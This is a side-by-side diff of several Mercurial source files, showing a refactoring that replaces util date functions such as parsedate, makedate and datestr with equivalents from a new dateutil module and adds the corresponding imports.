command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
msg: a string or a no-argument function returning a string msg: a string or a no-argument function returning a string
""" """
msg = opts.get('msg') msg = opts.get('msg')
edit = opts.get('edit') edit = opts.get('edit')
editform = opts.get('editform', 'mq.qnew') editform = opts.get('editform', 'mq.qnew')
user = opts.get('user') user = opts.get('user')
date = opts.get('date') date = opts.get('date')
if date: if date:
date = util.parsedate(date) date = dateutil.parsedate(date)
diffopts = self.diffopts({'git': opts.get('git')}, plain=True) diffopts = self.diffopts({'git': opts.get('git')}, plain=True)
if opts.get('checkname', True): if opts.get('checkname', True):
self.checkpatchname(patchfn) self.checkpatchname(patchfn)
inclsubs = checksubstate(repo) inclsubs = checksubstate(repo)
if inclsubs: if inclsubs:
substatestate = repo.dirstate['.hgsubstate'] substatestate = repo.dirstate['.hgsubstate']
if opts.get('include') or opts.get('exclude') or pats: if opts.get('include') or opts.get('exclude') or pats:
# detect missing files in pats # detect missing files in pats
self.ui.write(_("no patches applied\n")) self.ui.write(_("no patches applied\n"))
return 1 return 1
msg = opts.get('msg', '').rstrip() msg = opts.get('msg', '').rstrip()
edit = opts.get('edit') edit = opts.get('edit')
editform = opts.get('editform', 'mq.qrefresh') editform = opts.get('editform', 'mq.qrefresh')
newuser = opts.get('user') newuser = opts.get('user')
newdate = opts.get('date') newdate = opts.get('date')
if newdate: if newdate:
newdate = '%d %d' % util.parsedate(newdate) newdate = '%d %d' % dateutil.parsedate(newdate)
wlock = repo.wlock() wlock = repo.wlock()
try: try:
self.checktoppatch(repo) self.checktoppatch(repo)
(top, patchfn) = (self.applied[-1].node, self.applied[-1].name) (top, patchfn) = (self.applied[-1].node, self.applied[-1].name)
if repo.changelog.heads(top) != [top]: if repo.changelog.heads(top) != [top]:
raise error.Abort(_("cannot qrefresh a revision with children")) raise error.Abort(_("cannot qrefresh a revision with children"))
if not repo[top].mutable(): if not repo[top].mutable():
idx = q.series.index(q.applied[-2].name) idx = q.series.index(q.applied[-2].name)
q.qseries(repo, start=idx, length=1, status='A', q.qseries(repo, start=idx, length=1, status='A',
summary=opts.get(r'summary')) summary=opts.get(r'summary'))
def setupheaderopts(ui, opts): def setupheaderopts(ui, opts):
if not opts.get('user') and opts.get('currentuser'): if not opts.get('user') and opts.get('currentuser'):
opts['user'] = ui.username() opts['user'] = ui.username()
if not opts.get('date') and opts.get('currentdate'): if not opts.get('date') and opts.get('currentdate'):
opts['date'] = "%d %d" % util.makedate() opts['date'] = "%d %d" % dateutil.makedate()
@command("^qnew", @command("^qnew",
[('e', 'edit', None, _('invoke editor on commit messages')), [('e', 'edit', None, _('invoke editor on commit messages')),
('f', 'force', None, _('import uncommitted changes (DEPRECATED)')), ('f', 'force', None, _('import uncommitted changes (DEPRECATED)')),
('g', 'git', None, _('use git extended diff format')), ('g', 'git', None, _('use git extended diff format')),
('U', 'currentuser', None, _('add "From: <current user>" to patch')), ('U', 'currentuser', None, _('add "From: <current user>" to patch')),
('u', 'user', '', ('u', 'user', '',
_('add "From: <USER>" to patch'), _('USER')), _('add "From: <USER>" to patch'), _('USER')),

hgext/notify.py

from mercurial import ( from mercurial import (
cmdutil, cmdutil,
error, error,
mail, mail,
patch, patch,
registrar, registrar,
util, util,
) )
from mercurial.utils import dateutil
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
testedwith = 'ships-with-hg-core' testedwith = 'ships-with-hg-core'
configtable = {} configtable = {}
headers = msg.items() headers = msg.items()
payload = msg.get_payload() payload = msg.get_payload()
# for notification prefer readability over data precision # for notification prefer readability over data precision
msg = mail.mimeencode(self.ui, payload, self.charsets, self.test) msg = mail.mimeencode(self.ui, payload, self.charsets, self.test)
# reinstate custom headers # reinstate custom headers
for k, v in headers: for k, v in headers:
msg[k] = v msg[k] = v
msg['Date'] = util.datestr(format="%a, %d %b %Y %H:%M:%S %1%2") msg['Date'] = dateutil.datestr(format="%a, %d %b %Y %H:%M:%S %1%2")
# try to make subject line exist and be useful # try to make subject line exist and be useful
if not subject: if not subject:
if count > 1: if count > 1:
subject = _('%s: %d new changesets') % (self.root, count) subject = _('%s: %d new changesets') % (self.root, count)
else: else:
s = ctx.description().lstrip().split('\n', 1)[0].rstrip() s = ctx.description().lstrip().split('\n', 1)[0].rstrip()
subject = '%s: %s' % (self.root, s) subject = '%s: %s' % (self.root, s)

hgext/patchbomb.py

patch, patch,
pycompat, pycompat,
registrar, registrar,
repair, repair,
scmutil, scmutil,
templater, templater,
util, util,
) )
from mercurial.utils import dateutil
stringio = util.stringio stringio = util.stringio
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
configtable = {} configtable = {}
configitem = registrar.configitem(configtable) configitem = registrar.configitem(configtable)
msg %= (publicurl, missing[0]) msg %= (publicurl, missing[0])
revhint = ' '.join('-r %s' % h revhint = ' '.join('-r %s' % h
for h in repo.set('heads(%ld)', missing)) for h in repo.set('heads(%ld)', missing))
hint = _("use 'hg push %s %s'") % (publicurl, revhint) hint = _("use 'hg push %s %s'") % (publicurl, revhint)
raise error.Abort(msg, hint=hint) raise error.Abort(msg, hint=hint)
# start # start
if date: if date:
start_time = util.parsedate(date) start_time = dateutil.parsedate(date)
else: else:
start_time = util.makedate() start_time = dateutil.makedate()
def genmsgid(id): def genmsgid(id):
return '<%s.%s@%s>' % (id[:20], int(start_time[0]), socket.getfqdn()) return '<%s.%s@%s>' % (id[:20], int(start_time[0]), socket.getfqdn())
# deprecated config: patchbomb.from # deprecated config: patchbomb.from
sender = (opts.get('from') or ui.config('email', 'from') or sender = (opts.get('from') or ui.config('email', 'from') or
ui.config('patchbomb', 'from') or ui.config('patchbomb', 'from') or
prompt(ui, 'From', ui.username())) prompt(ui, 'From', ui.username()))

hgext/shelve.py

pycompat, pycompat,
registrar, registrar,
repair, repair,
scmutil, scmutil,
templatefilters, templatefilters,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from mercurial.utils import dateutil
from . import ( from . import (
rebase, rebase,
) )
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
continue continue
ui.write(sname, label=namelabel) ui.write(sname, label=namelabel)
namelabel = 'shelve.name' namelabel = 'shelve.name'
if ui.quiet: if ui.quiet:
ui.write('\n') ui.write('\n')
continue continue
ui.write(' ' * (16 - len(sname))) ui.write(' ' * (16 - len(sname)))
used = 16 used = 16
age = '(%s)' % templatefilters.age(util.makedate(mtime), abbrev=True) date = dateutil.makedate(mtime)
age = '(%s)' % templatefilters.age(date, abbrev=True)
ui.write(age, label='shelve.age') ui.write(age, label='shelve.age')
ui.write(' ' * (12 - len(age))) ui.write(' ' * (12 - len(age)))
used += 12 used += 12
with open(name + '.' + patchextension, 'rb') as fp: with open(name + '.' + patchextension, 'rb') as fp:
while True: while True:
line = fp.readline() line = fp.readline()
if not line: if not line:
break break

mercurial/changelog.py

) )
from . import ( from . import (
encoding, encoding,
error, error,
revlog, revlog,
util, util,
) )
from .utils import dateutil
_defaultextra = {'branch': 'default'} _defaultextra = {'branch': 'default'}
def _string_escape(text): def _string_escape(text):
""" """
>>> from .pycompat import bytechr as chr >>> from .pycompat import bytechr as chr
>>> d = {b'nl': chr(10), b'bs': chr(92), b'cr': chr(13), b'nul': chr(0)} >>> d = {b'nl': chr(10), b'bs': chr(92), b'cr': chr(13), b'nul': chr(0)}
>>> s = b"ab%(nl)scd%(bs)s%(bs)sn%(nul)sab%(cr)scd%(bs)s%(nl)s" % d >>> s = b"ab%(nl)scd%(bs)s%(bs)sn%(nul)sab%(cr)scd%(bs)s%(nl)s" % d
raise error.RevlogError(_("empty username")) raise error.RevlogError(_("empty username"))
if "\n" in user: if "\n" in user:
raise error.RevlogError(_("username %s contains a newline") raise error.RevlogError(_("username %s contains a newline")
% repr(user)) % repr(user))
desc = stripdesc(desc) desc = stripdesc(desc)
if date: if date:
parseddate = "%d %d" % util.parsedate(date) parseddate = "%d %d" % dateutil.parsedate(date)
else: else:
parseddate = "%d %d" % util.makedate() parseddate = "%d %d" % dateutil.makedate()
if extra: if extra:
branch = extra.get("branch") branch = extra.get("branch")
if branch in ("default", ""): if branch in ("default", ""):
del extra["branch"] del extra["branch"]
elif branch in (".", "null", "tip"): elif branch in (".", "null", "tip"):
raise error.RevlogError(_('the name \'%s\' is reserved') raise error.RevlogError(_('the name \'%s\' is reserved')
% branch) % branch)
if extra: if extra:

mercurial/cmdutil.py

rewriteutil, rewriteutil,
scmutil, scmutil,
smartset, smartset,
templatekw, templatekw,
templater, templater,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from .utils import dateutil
stringio = util.stringio stringio = util.stringio
# templates of common command options # templates of common command options
dryrunopts = [ dryrunopts = [
('n', 'dry-run', None, ('n', 'dry-run', None,
_('do not perform actions, just print output')), _('do not perform actions, just print output')),
] ]
if parents: if parents:
prev = parents[0] prev = parents[0]
else: else:
prev = nullid prev = nullid
write("# HG changeset patch\n") write("# HG changeset patch\n")
write("# User %s\n" % ctx.user()) write("# User %s\n" % ctx.user())
write("# Date %d %d\n" % ctx.date()) write("# Date %d %d\n" % ctx.date())
write("# %s\n" % util.datestr(ctx.date())) write("# %s\n" % dateutil.datestr(ctx.date()))
if branch and branch != 'default': if branch and branch != 'default':
write("# Branch %s\n" % branch) write("# Branch %s\n" % branch)
write("# Node ID %s\n" % hex(node)) write("# Node ID %s\n" % hex(node))
write("# Parent %s\n" % hex(prev)) write("# Parent %s\n" % hex(prev))
if len(parents) > 1: if len(parents) > 1:
write("# Parent %s\n" % hex(parents[1])) write("# Parent %s\n" % hex(parents[1]))
for headerid in extraexport: for headerid in extraexport:
if self.ui.debugflag and rev is not None: if self.ui.debugflag and rev is not None:
mnode = ctx.manifestnode() mnode = ctx.manifestnode()
mrev = self.repo.manifestlog._revlog.rev(mnode) mrev = self.repo.manifestlog._revlog.rev(mnode)
self.ui.write(columns['manifest'] self.ui.write(columns['manifest']
% scmutil.formatrevnode(self.ui, mrev, mnode), % scmutil.formatrevnode(self.ui, mrev, mnode),
label='ui.debug log.manifest') label='ui.debug log.manifest')
self.ui.write(columns['user'] % ctx.user(), label='log.user') self.ui.write(columns['user'] % ctx.user(), label='log.user')
self.ui.write(columns['date'] % util.datestr(ctx.date()), self.ui.write(columns['date'] % dateutil.datestr(ctx.date()),
label='log.date') label='log.date')
if ctx.isunstable(): if ctx.isunstable():
instabilities = ctx.instabilities() instabilities = ctx.instabilities()
self.ui.write(columns['instability'] % ', '.join(instabilities), self.ui.write(columns['instability'] % ', '.join(instabilities),
label='log.instability') label='log.instability')
elif ctx.obsolete(): elif ctx.obsolete():
meta = marker.metadata().copy() meta = marker.metadata().copy()
meta.pop('date', None) meta.pop('date', None)
fm.write('metadata', '{%s}', fm.formatdict(meta, fmt='%r: %r', sep=', ')) fm.write('metadata', '{%s}', fm.formatdict(meta, fmt='%r: %r', sep=', '))
fm.plain('\n') fm.plain('\n')
def finddate(ui, repo, date): def finddate(ui, repo, date):
"""Find the tipmost changeset that matches the given date spec""" """Find the tipmost changeset that matches the given date spec"""
df = util.matchdate(date) df = dateutil.matchdate(date)
m = scmutil.matchall(repo) m = scmutil.matchall(repo)
results = {} results = {}
def prep(ctx, fns): def prep(ctx, fns):
d = ctx.date() d = ctx.date()
if df(d[0]): if df(d[0]):
results[ctx.rev()] = d results[ctx.rev()] = d
for ctx in walkchangerevs(repo, m, {'rev': None}, prep): for ctx in walkchangerevs(repo, m, {'rev': None}, prep):
rev = ctx.rev() rev = ctx.rev()
if rev in results: if rev in results:
ui.status(_("found revision %s from %s\n") % ui.status(_("found revision %s from %s\n") %
(rev, util.datestr(results[rev]))) (rev, dateutil.datestr(results[rev])))
return '%d' % rev return '%d' % rev
raise error.Abort(_("revision matching date not found")) raise error.Abort(_("revision matching date not found"))
def increasingwindows(windowsize=8, sizelimit=512): def increasingwindows(windowsize=8, sizelimit=512):
while True: while True:
yield windowsize yield windowsize
if windowsize < sizelimit: if windowsize < sizelimit:
% os.path.join(prefix, subpath)) % os.path.join(prefix, subpath))
return err return err
def commit(ui, repo, commitfunc, pats, opts): def commit(ui, repo, commitfunc, pats, opts):
'''commit the specified files or all outstanding changes''' '''commit the specified files or all outstanding changes'''
date = opts.get('date') date = opts.get('date')
if date: if date:
opts['date'] = util.parsedate(date) opts['date'] = dateutil.parsedate(date)
message = logmessage(ui, opts) message = logmessage(ui, opts)
matcher = scmutil.match(repo[None], pats, opts) matcher = scmutil.match(repo[None], pats, opts)
dsguard = None dsguard = None
# extract addremove carefully -- this function can be called from a command # extract addremove carefully -- this function can be called from a command
# that doesn't support addremove # that doesn't support addremove
if opts.get('addremove'): if opts.get('addremove'):
dsguard = dirstateguard.dirstateguard(repo, 'commit') dsguard = dirstateguard.dirstateguard(repo, 'commit')
# Also update it from the from the wctx # Also update it from the from the wctx
extra.update(wctx.extra()) extra.update(wctx.extra())
user = opts.get('user') or old.user() user = opts.get('user') or old.user()
date = opts.get('date') or old.date() date = opts.get('date') or old.date()
# Parse the date to allow comparison between date and old.date() # Parse the date to allow comparison between date and old.date()
date = util.parsedate(date) date = dateutil.parsedate(date)
if len(old.parents()) > 1: if len(old.parents()) > 1:
# ctx.files() isn't reliable for merges, so fall back to the # ctx.files() isn't reliable for merges, so fall back to the
# slower repo.status() method # slower repo.status() method
files = set([fn for st in repo.status(base, old)[:3] files = set([fn for st in repo.status(base, old)[:3]
for fn in st]) for fn in st])
else: else:
files = set(old.files()) files = set(old.files())

mercurial/commands.py

server, server,
sshserver, sshserver,
streamclone, streamclone,
tags as tagsmod, tags as tagsmod,
templatekw, templatekw,
ui as uimod, ui as uimod,
util, util,
) )
from .utils import dateutil
release = lockmod.release release = lockmod.release
table = {} table = {}
table.update(debugcommandsmod.command._table) table.update(debugcommandsmod.command._table)
command = registrar.command(table) command = registrar.command(table)
readonly = registrar.command.readonly readonly = registrar.command.readonly
rev = opts.get('rev') rev = opts.get('rev')
if rev: if rev:
repo = scmutil.unhidehashlikerevs(repo, [rev], 'nowarn') repo = scmutil.unhidehashlikerevs(repo, [rev], 'nowarn')
ctx = scmutil.revsingle(repo, rev) ctx = scmutil.revsingle(repo, rev)
rootfm = ui.formatter('annotate', opts) rootfm = ui.formatter('annotate', opts)
if ui.quiet: if ui.quiet:
datefunc = util.shortdate datefunc = dateutil.shortdate
else: else:
datefunc = util.datestr datefunc = dateutil.datestr
if ctx.rev() is None: if ctx.rev() is None:
def hexfn(node): def hexfn(node):
if node is None: if node is None:
return None return None
else: else:
return rootfm.hexfunc(node) return rootfm.hexfunc(node)
if opts.get('changeset'): if opts.get('changeset'):
# omit "+" suffix which is appended to node hex # omit "+" suffix which is appended to node hex
if not rev: if not rev:
rev = node rev = node
if not rev: if not rev:
raise error.Abort(_("please specify a revision to backout")) raise error.Abort(_("please specify a revision to backout"))
date = opts.get('date') date = opts.get('date')
if date: if date:
opts['date'] = util.parsedate(date) opts['date'] = dateutil.parsedate(date)
cmdutil.checkunfinished(repo) cmdutil.checkunfinished(repo)
cmdutil.bailifchanged(repo) cmdutil.bailifchanged(repo)
node = scmutil.revsingle(repo, rev).node() node = scmutil.revsingle(repo, rev).node()
op1, op2 = repo.dirstate.parents() op1, op2 = repo.dirstate.parents()
if not repo.changelog.isancestor(node, op1): if not repo.changelog.isancestor(node, op1):
raise error.Abort(_('cannot backout change that is not an ancestor')) raise error.Abort(_('cannot backout change that is not an ancestor'))
'revision ordering!\n')) 'revision ordering!\n'))
revs = list(revs) revs = list(revs)
revs.extend(opts.get('rev')) revs.extend(opts.get('rev'))
if not opts.get('user') and opts.get('currentuser'): if not opts.get('user') and opts.get('currentuser'):
opts['user'] = ui.username() opts['user'] = ui.username()
if not opts.get('date') and opts.get('currentdate'): if not opts.get('date') and opts.get('currentdate'):
opts['date'] = "%d %d" % util.makedate() opts['date'] = "%d %d" % dateutil.makedate()
editor = cmdutil.getcommiteditor(editform='graft', editor = cmdutil.getcommiteditor(editform='graft',
**pycompat.strkwargs(opts)) **pycompat.strkwargs(opts))
cont = False cont = False
if opts.get('continue'): if opts.get('continue'):
cont = True cont = True
if revs: if revs:
opts = pycompat.byteskwargs(opts) opts = pycompat.byteskwargs(opts)
if not patch1: if not patch1:
raise error.Abort(_('need at least one patch to import')) raise error.Abort(_('need at least one patch to import'))
patches = (patch1,) + patches patches = (patch1,) + patches
date = opts.get('date') date = opts.get('date')
if date: if date:
opts['date'] = util.parsedate(date) opts['date'] = dateutil.parsedate(date)
exact = opts.get('exact') exact = opts.get('exact')
update = not opts.get('bypass') update = not opts.get('bypass')
if not update and opts.get('no_commit'): if not update and opts.get('no_commit'):
raise error.Abort(_('cannot use --no-commit with --bypass')) raise error.Abort(_('cannot use --no-commit with --bypass'))
try: try:
sim = float(opts.get('similarity') or 0) sim = float(opts.get('similarity') or 0)
except ValueError: except ValueError:
if not message: if not message:
# we don't translate commit messages # we don't translate commit messages
message = ('Added tag %s for changeset %s' % message = ('Added tag %s for changeset %s' %
(', '.join(names), short(r))) (', '.join(names), short(r)))
date = opts.get('date') date = opts.get('date')
if date: if date:
date = util.parsedate(date) date = dateutil.parsedate(date)
if opts.get('remove'): if opts.get('remove'):
editform = 'tag.remove' editform = 'tag.remove'
else: else:
editform = 'tag.add' editform = 'tag.add'
editor = cmdutil.getcommiteditor(editform=editform, editor = cmdutil.getcommiteditor(editform=editform,
**pycompat.strkwargs(opts)) **pycompat.strkwargs(opts))

mercurial/context.py

pycompat, pycompat,
repoview, repoview,
revlog, revlog,
scmutil, scmutil,
sparse, sparse,
subrepo, subrepo,
util, util,
) )
from .utils import dateutil
propertycache = util.propertycache propertycache = util.propertycache
nonascii = re.compile(r'[^\x21-\x7f]').search nonascii = re.compile(r'[^\x21-\x7f]').search
class basectx(object): class basectx(object):
"""A basectx object represents the common logic for its children: """A basectx object represents the common logic for its children:
changectx: read-only context that is already present in the repo, changectx: read-only context that is already present in the repo,
wants the ability to commit, e.g. workingctx or memctx.""" wants the ability to commit, e.g. workingctx or memctx."""
def __init__(self, repo, text="", user=None, date=None, extra=None, def __init__(self, repo, text="", user=None, date=None, extra=None,
changes=None): changes=None):
self._repo = repo self._repo = repo
self._rev = None self._rev = None
self._node = None self._node = None
self._text = text self._text = text
if date: if date:
self._date = util.parsedate(date) self._date = dateutil.parsedate(date)
if user: if user:
self._user = user self._user = user
if changes: if changes:
self._status = changes self._status = changes
self._extra = {} self._extra = {}
if extra: if extra:
self._extra = extra.copy() self._extra = extra.copy()
def _user(self): def _user(self):
return self._repo.ui.username() return self._repo.ui.username()
@propertycache @propertycache
def _date(self): def _date(self):
ui = self._repo.ui ui = self._repo.ui
date = ui.configdate('devel', 'default-date') date = ui.configdate('devel', 'default-date')
if date is None: if date is None:
date = util.makedate() date = dateutil.makedate()
return date return date
def subrev(self, subpath): def subrev(self, subpath):
return None return None
def manifestnode(self): def manifestnode(self):
return None return None
def user(self): def user(self):
"entries: %s)" "entries: %s)"
% (path, path, self.p1(), len(matches), % (path, path, self.p1(), len(matches),
', '.join(matches.keys()))) ', '.join(matches.keys())))
def write(self, path, data, flags='', **kwargs): def write(self, path, data, flags='', **kwargs):
if data is None: if data is None:
raise error.ProgrammingError("data must be non-None") raise error.ProgrammingError("data must be non-None")
self._auditconflicts(path) self._auditconflicts(path)
self._markdirty(path, exists=True, data=data, date=util.makedate(), self._markdirty(path, exists=True, data=data, date=dateutil.makedate(),
flags=flags) flags=flags)
def setflags(self, path, l, x): def setflags(self, path, l, x):
self._markdirty(path, exists=True, date=util.makedate(), self._markdirty(path, exists=True, date=dateutil.makedate(),
flags=(l and 'l' or '') + (x and 'x' or '')) flags=(l and 'l' or '') + (x and 'x' or ''))
def remove(self, path): def remove(self, path):
self._markdirty(path, exists=False) self._markdirty(path, exists=False)
def exists(self, path): def exists(self, path):
"""exists behaves like `lexists`, but needs to follow symlinks and """exists behaves like `lexists`, but needs to follow symlinks and
return False if they are broken. return False if they are broken.
committed (updated or added), filectxfn returns a memfilectx committed (updated or added), filectxfn returns a memfilectx
object. If the file was removed, filectxfn return None for recent object. If the file was removed, filectxfn return None for recent
Mercurial. Moved files are represented by marking the source file Mercurial. Moved files are represented by marking the source file
removed and the new file added with copy information (see removed and the new file added with copy information (see
memfilectx). memfilectx).
user receives the committer name and defaults to current user receives the committer name and defaults to current
repository username, date is the commit date in any format repository username, date is the commit date in any format
supported by util.parsedate() and defaults to current date, extra supported by dateutil.parsedate() and defaults to current date, extra
is a dictionary of metadata or is left empty. is a dictionary of metadata or is left empty.
""" """
# Mercurial <= 3.1 expects the filectxfn to raise IOError for missing files. # Mercurial <= 3.1 expects the filectxfn to raise IOError for missing files.
# Extensions that need to retain compatibility across Mercurial 3.1 can use # Extensions that need to retain compatibility across Mercurial 3.1 can use
# this field to determine what to do in filectxfn. # this field to determine what to do in filectxfn.
_returnnoneformissingfiles = True _returnnoneformissingfiles = True
Revision information is supplied at initialization time. 'repo' is the Revision information is supplied at initialization time. 'repo' is the
current localrepo, 'ctx' is original revision which manifest we're reuisng current localrepo, 'ctx' is original revision which manifest we're reuisng
'parents' is a sequence of two parent revisions identifiers (pass None for 'parents' is a sequence of two parent revisions identifiers (pass None for
every missing parent), 'text' is the commit. every missing parent), 'text' is the commit.
user receives the committer name and defaults to current repository user receives the committer name and defaults to current repository
username, date is the commit date in any format supported by username, date is the commit date in any format supported by
util.parsedate() and defaults to current date, extra is a dictionary of dateutil.parsedate() and defaults to current date, extra is a dictionary of
metadata or is left empty. metadata or is left empty.
""" """
def __new__(cls, repo, originalctx, *args, **kwargs): def __new__(cls, repo, originalctx, *args, **kwargs):
return super(metadataonlyctx, cls).__new__(cls, repo) return super(metadataonlyctx, cls).__new__(cls, repo)
def __init__(self, repo, originalctx, parents=None, text=None, user=None, def __init__(self, repo, originalctx, parents=None, text=None, user=None,
date=None, extra=None, editor=False): date=None, extra=None, editor=False):
if text is None: if text is None:

mercurial/debugcommands.py

streamclone, streamclone,
templater, templater,
treediscovery, treediscovery,
upgrade, upgrade,
url as urlmod, url as urlmod,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from .utils import dateutil
release = lockmod.release release = lockmod.release
command = registrar.command() command = registrar.command()
@command('debugancestor', [], _('[INDEX] REV1 REV2'), optionalrepo=True) @command('debugancestor', [], _('[INDEX] REV1 REV2'), optionalrepo=True)
def debugancestor(ui, repo, *args): def debugancestor(ui, repo, *args):
"""find the ancestor revision of two revisions in a given index""" """find the ancestor revision of two revisions in a given index"""
@command('debugdate', @command('debugdate',
[('e', 'extended', None, _('try extended date formats'))], [('e', 'extended', None, _('try extended date formats'))],
_('[-e] DATE [RANGE]'), _('[-e] DATE [RANGE]'),
norepo=True, optionalrepo=True) norepo=True, optionalrepo=True)
def debugdate(ui, date, range=None, **opts): def debugdate(ui, date, range=None, **opts):
"""parse and display a date""" """parse and display a date"""
if opts[r"extended"]: if opts[r"extended"]:
d = util.parsedate(date, util.extendeddateformats) d = dateutil.parsedate(date, util.extendeddateformats)
else: else:
d = util.parsedate(date) d = dateutil.parsedate(date)
ui.write(("internal: %s %s\n") % d) ui.write(("internal: %s %s\n") % d)
ui.write(("standard: %s\n") % util.datestr(d)) ui.write(("standard: %s\n") % dateutil.datestr(d))
if range: if range:
m = util.matchdate(range) m = dateutil.matchdate(range)
ui.write(("match: %s\n") % m(d[0])) ui.write(("match: %s\n") % m(d[0]))
@command('debugdeltachain', @command('debugdeltachain',
cmdutil.debugrevlogopts + cmdutil.formatteropts, cmdutil.debugrevlogopts + cmdutil.formatteropts,
_('-c|-m|FILE'), _('-c|-m|FILE'),
optionalrepo=True) optionalrepo=True)
def debugdeltachain(ui, repo, file_=None, **opts): def debugdeltachain(ui, repo, file_=None, **opts):
"""dump information about delta chains in a revlog """dump information about delta chains in a revlog
metadata['user'] = opts['user'] or ui.username() metadata['user'] = opts['user'] or ui.username()
succs = tuple(parsenodeid(succ) for succ in successors) succs = tuple(parsenodeid(succ) for succ in successors)
l = repo.lock() l = repo.lock()
try: try:
tr = repo.transaction('debugobsolete') tr = repo.transaction('debugobsolete')
try: try:
date = opts.get('date') date = opts.get('date')
if date: if date:
date = util.parsedate(date) date = dateutil.parsedate(date)
else: else:
date = None date = None
prec = parsenodeid(precursor) prec = parsenodeid(precursor)
parents = None parents = None
if opts['record_parents']: if opts['record_parents']:
if prec not in repo.unfiltered(): if prec not in repo.unfiltered():
raise error.Abort('cannot used --record-parents on ' raise error.Abort('cannot used --record-parents on '
'unknown changesets') 'unknown changesets')

mercurial/formatter.py

from . import ( from . import (
error, error,
pycompat, pycompat,
templatefilters, templatefilters,
templatekw, templatekw,
templater, templater,
util, util,
) )
from .utils import dateutil
pickle = util.pickle pickle = util.pickle
class _nullconverter(object): class _nullconverter(object):
'''convert non-primitive data types to be processed by formatter''' '''convert non-primitive data types to be processed by formatter'''
# set to True if context object should be stored as item # set to True if context object should be stored as item
storecontext = False storecontext = False
class _plainconverter(object): class _plainconverter(object):
'''convert non-primitive data types to text''' '''convert non-primitive data types to text'''
storecontext = False storecontext = False
@staticmethod @staticmethod
def formatdate(date, fmt): def formatdate(date, fmt):
'''stringify date tuple in the given format''' '''stringify date tuple in the given format'''
return util.datestr(date, fmt) return dateutil.datestr(date, fmt)
@staticmethod @staticmethod
def formatdict(data, key, value, fmt, sep): def formatdict(data, key, value, fmt, sep):
'''stringify key-value pairs separated by sep''' '''stringify key-value pairs separated by sep'''
return sep.join(fmt % (k, v) for k, v in _iteritems(data)) return sep.join(fmt % (k, v) for k, v in _iteritems(data))
@staticmethod @staticmethod
def formatlist(data, name, fmt, sep): def formatlist(data, name, fmt, sep):
'''stringify iterable separated by sep''' '''stringify iterable separated by sep'''
return sep.join(fmt % e for e in data) return sep.join(fmt % e for e in data)

mercurial/hgweb/hgwebdir_mod.py

hg, hg,
profiling, profiling,
pycompat, pycompat,
scmutil, scmutil,
templater, templater,
ui as uimod, ui as uimod,
util, util,
) )
from ..utils import dateutil
from . import ( from . import (
hgweb_mod, hgweb_mod,
webutil, webutil,
wsgicgi, wsgicgi,
) )
def cleannames(items): def cleannames(items):
if req.env['SCRIPT_NAME']: if req.env['SCRIPT_NAME']:
parts.insert(0, req.env['SCRIPT_NAME']) parts.insert(0, req.env['SCRIPT_NAME'])
url = re.sub(r'/+', '/', '/'.join(parts) + '/') url = re.sub(r'/+', '/', '/'.join(parts) + '/')
# show either a directory entry or a repository # show either a directory entry or a repository
if directory: if directory:
# get the directory's time information # get the directory's time information
try: try:
d = (get_mtime(path), util.makedate()[1]) d = (get_mtime(path), dateutil.makedate()[1])
except OSError: except OSError:
continue continue
# add '/' to the name to make it obvious that # add '/' to the name to make it obvious that
# the entry is a directory, not a regular repository # the entry is a directory, not a regular repository
row = {'contact': "", row = {'contact': "",
'contact_sort': "", 'contact_sort': "",
'name': name + '/', 'name': name + '/',
r = hg.repository(self.ui, path) r = hg.repository(self.ui, path)
except IOError: except IOError:
u.warn(_('error accessing repository at %s\n') % path) u.warn(_('error accessing repository at %s\n') % path)
continue continue
except error.RepoError: except error.RepoError:
u.warn(_('error accessing repository at %s\n') % path) u.warn(_('error accessing repository at %s\n') % path)
continue continue
try: try:
d = (get_mtime(r.spath), util.makedate()[1]) d = (get_mtime(r.spath), dateutil.makedate()[1])
except OSError: except OSError:
continue continue
contact = get_contact(get) contact = get_contact(get)
description = get("web", "description") description = get("web", "description")
seenrepos.add(name) seenrepos.add(name)
name = get("web", "name", name) name = get("web", "name", name)
row = {'contact': contact or "unknown", row = {'contact': contact or "unknown",

mercurial/mdiff.py

from .i18n import _ from .i18n import _
from . import ( from . import (
error, error,
policy, policy,
pycompat, pycompat,
util, util,
) )
from .utils import dateutil
bdiff = policy.importmod(r'bdiff') bdiff = policy.importmod(r'bdiff')
mpatch = policy.importmod(r'mpatch') mpatch = policy.importmod(r'mpatch')
blocks = bdiff.blocks blocks = bdiff.blocks
fixws = bdiff.fixws fixws = bdiff.fixws
patches = mpatch.patches patches = mpatch.patches
patchedsize = mpatch.patchedsize patchedsize = mpatch.patchedsize
return sentinel return sentinel
if opts.noprefix: if opts.noprefix:
aprefix = bprefix = '' aprefix = bprefix = ''
else: else:
aprefix = 'a/' aprefix = 'a/'
bprefix = 'b/' bprefix = 'b/'
epoch = util.datestr((0, 0)) epoch = dateutil.datestr((0, 0))
fn1 = util.pconvert(fn1) fn1 = util.pconvert(fn1)
fn2 = util.pconvert(fn2) fn2 = util.pconvert(fn2)
def checknonewline(lines): def checknonewline(lines):
for text in lines: for text in lines:
if text[-1:] != '\n': if text[-1:] != '\n':
text += "\n\ No newline at end of file\n" text += "\n\ No newline at end of file\n"

mercurial/obsolete.py

from . import ( from . import (
error, error,
node, node,
obsutil, obsutil,
phases, phases,
policy, policy,
util, util,
) )
from .utils import dateutil
parsers = policy.importmod(r'parsers') parsers = policy.importmod(r'parsers')
_pack = struct.pack _pack = struct.pack
_unpack = struct.unpack _unpack = struct.unpack
_calcsize = struct.calcsize _calcsize = struct.calcsize
